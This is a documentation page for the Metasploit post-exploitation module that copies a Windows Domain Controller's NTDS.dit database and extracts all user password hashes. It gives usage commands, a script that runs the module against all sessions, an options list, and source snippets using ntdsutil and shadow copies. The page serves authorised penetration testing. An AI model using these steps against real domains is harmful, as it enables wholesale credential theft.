Windows Domain Controller Hashdump - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/domain_hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Domain Controller Hashdump
Module: post/windows/gather/credentials/domain_hashdump
Source code: modules/post/windows/gather/credentials/domain_hashdump.rb
Disclosure date: -
Last modification time: 2022-09-23 17:41:20 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module attempts to copy the NTDS.dit database from a live Domain Controller and then parse out all of the User Accounts. It saves all of the captured password hashes, including historical ones.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/domain_hashdump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/domain_hashdump
msf post(domain_hashdump) > show options
    ... show and set options ...
msf post(domain_hashdump) > set SESSION session-id
msf post(domain_hashdump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/domain_hashdump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/domain_hashdump post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/domain_hashdump

msf6 post(windows/gather/credentials/domain_hashdump) > show info

       Name: Windows Domain Controller Hashdump
     Module: post/windows/gather/credentials/domain_hashdump
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  theLightCosine <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  CLEANUP  true             yes       Automatically delete ntds backup created
  RHOST    localhost        yes       Target address range
  SESSION                   yes       The session to run this module on.
  TIMEOUT  60               yes       Timeout for WMI command in seconds

Description:
  This module attempts to copy the NTDS.dit database from a live 
  Domain Controller and then parse out all of the User Accounts. It 
  saves all of the captured password hashes, including historical 
  ones.

Module Options

This is a complete list of options available in the windows/gather/credentials/domain_hashdump post exploitation module:

msf6 post(windows/gather/credentials/domain_hashdump) > show options

Module options (post/windows/gather/credentials/domain_hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CLEANUP  true             yes       Automatically delete ntds backup created
   RHOST    localhost        yes       Target address range
   SESSION                   yes       The session to run this module on.
   TIMEOUT  60               yes       Timeout for WMI command in seconds

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/domain_hashdump post exploitation module:

msf6 post(windows/gather/credentials/domain_hashdump) > show advanced

Module advanced options (post/windows/gather/credentials/domain_hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/domain_hashdump module can do:

msf6 post(windows/gather/credentials/domain_hashdump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/domain_hashdump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/domain_hashdump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to properly parse database: <E>

Here is a relevant code snippet related to the "Failed to properly parse database: <E>" error message:

50:	        print_status repair_ntds(ntds_file)
51:	        realm = sysinfo["Domain"]
52:	        begin
53:	          ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
54:	        rescue Rex::Post::Meterpreter::RequestError => e
55:	          print_bad("Failed to properly parse database: #{e}")
56:	          if e.to_s.include? "1004"
57:	            print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
58:	          end
59:	        end
60:	        unless ntds_parser.nil?

Error 1004 is likely a jet database error because the ntds database is not in the regular format

Here is a relevant code snippet related to the "Error 1004 is likely a jet database error because the ntds database is not in the regular format" error message:

52:	        begin
53:	          ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
54:	        rescue Rex::Post::Meterpreter::RequestError => e
55:	          print_bad("Failed to properly parse database: #{e}")
56:	          if e.to_s.include? "1004"
57:	            print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
58:	          end
59:	        end
60:	        unless ntds_parser.nil?
61:	          print_status "Started up NTDS channel. Preparing to stream results..."
62:	          ntds_parser.each_account do |ad_account|

<NTDS_FILE> requires manual cleanup

Here is a relevant code snippet related to the "<NTDS_FILE> requires manual cleanup" error message:

71:	        end
72:	        if datastore['cleanup']
73:	          print_status "Deleting backup of NTDS.dit at #{ntds_file}"
74:	          rm_f(ntds_file)
75:	        else
76:	          print_bad "#{ntds_file} requires manual cleanup"
77:	        end
78:	      end
79:	    end
80:	  end
81:

This version of Windows is unsupported

Here is a relevant code snippet related to the "This version of Windows is unsupported" error message:

87:	      database_file_path = vss_method
88:	    when /2008|2012|2016/
89:	      print_status "Using NTDSUTIL method"
90:	      database_file_path = ntdsutil_method
91:	    else
92:	      print_error "This version of Windows is unsupported"
93:	    end
94:	    database_file_path
95:	  end
96:	
97:	  def domain_controller?

There was an error copying the ntds.dit file!

Here is a relevant code snippet related to the "There was an error copying the ntds.dit file!" error message:

112:	    result = cmd_exec("ntdsutil.exe", command_arguments, 90)
113:	    if result.include? "IFM media created successfully"
114:	      file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
115:	      print_status "NTDS database copied to #{file_path}"
116:	    else
117:	      print_error "There was an error copying the ntds.dit file!"
118:	      vprint_error result
119:	      file_path = nil
120:	    end
121:	    file_path
122:	  end

This module requires Admin privs to run

Here is a relevant code snippet related to the "This module requires Admin privs to run" error message:

123:	
124:	  def preconditions_met?
125:	    if is_admin?
126:	      print_status "Session has Admin privs"
127:	    else
128:	      print_error "This module requires Admin privs to run"
129:	      return false
130:	    end
131:	    if domain_controller?
132:	      print_status "Session is on a Domain Controller"
133:	    else

This does not appear to be an AD Domain Controller

Here is a relevant code snippet related to the "This does not appear to be an AD Domain Controller" error message:

129:	      return false
130:	    end
131:	    if domain_controller?
132:	      print_status "Session is on a Domain Controller"
133:	    else
134:	      print_error "This does not appear to be an AD Domain Controller"
135:	      return false
136:	    end
137:	    unless session_compat?
138:	      return false
139:	    end

You are running 32-bit Meterpreter on a 64 bit system

Here is a relevant code snippet related to the "You are running 32-bit Meterpreter on a 64 bit system" error message:

162:	    create_credential(cred_details)
163:	  end
164:	
165:	  def session_compat?
166:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
167:	      print_error "You are running 32-bit Meterpreter on a 64 bit system"
168:	      print_error "Try migrating to a 64-bit process and try again"
169:	      false
170:	    else
171:	      true
172:	    end

Try migrating to a 64-bit process and try again

Here is a relevant code snippet related to the "Try migrating to a 64-bit process and try again" error message:

163:	  end
164:	
165:	  def session_compat?
166:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
167:	      print_error "You are running 32-bit Meterpreter on a 64 bit system"
168:	      print_error "Try migrating to a 64-bit process and try again"
169:	      false
170:	    else
171:	      true
172:	    end
173:	  end

Unable to start VSS service

Here is a relevant code snippet related to the "Unable to start VSS service" error message:

172:	    end
173:	  end
174:	
175:	  def vss_method
176:	    unless start_vss
177:	      fail_with(Failure::NoAccess, "Unable to start VSS service")
178:	    end
179:	    location = ntds_location.dup
180:	    volume = location.slice!(0, 3)
181:	    id = create_shadowcopy('#{volume}')
182:	    print_status "Getting Details of ShadowCopy #{id}"

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See Also

Check also the following modules related to this module:

Authors

  • theLightCosine

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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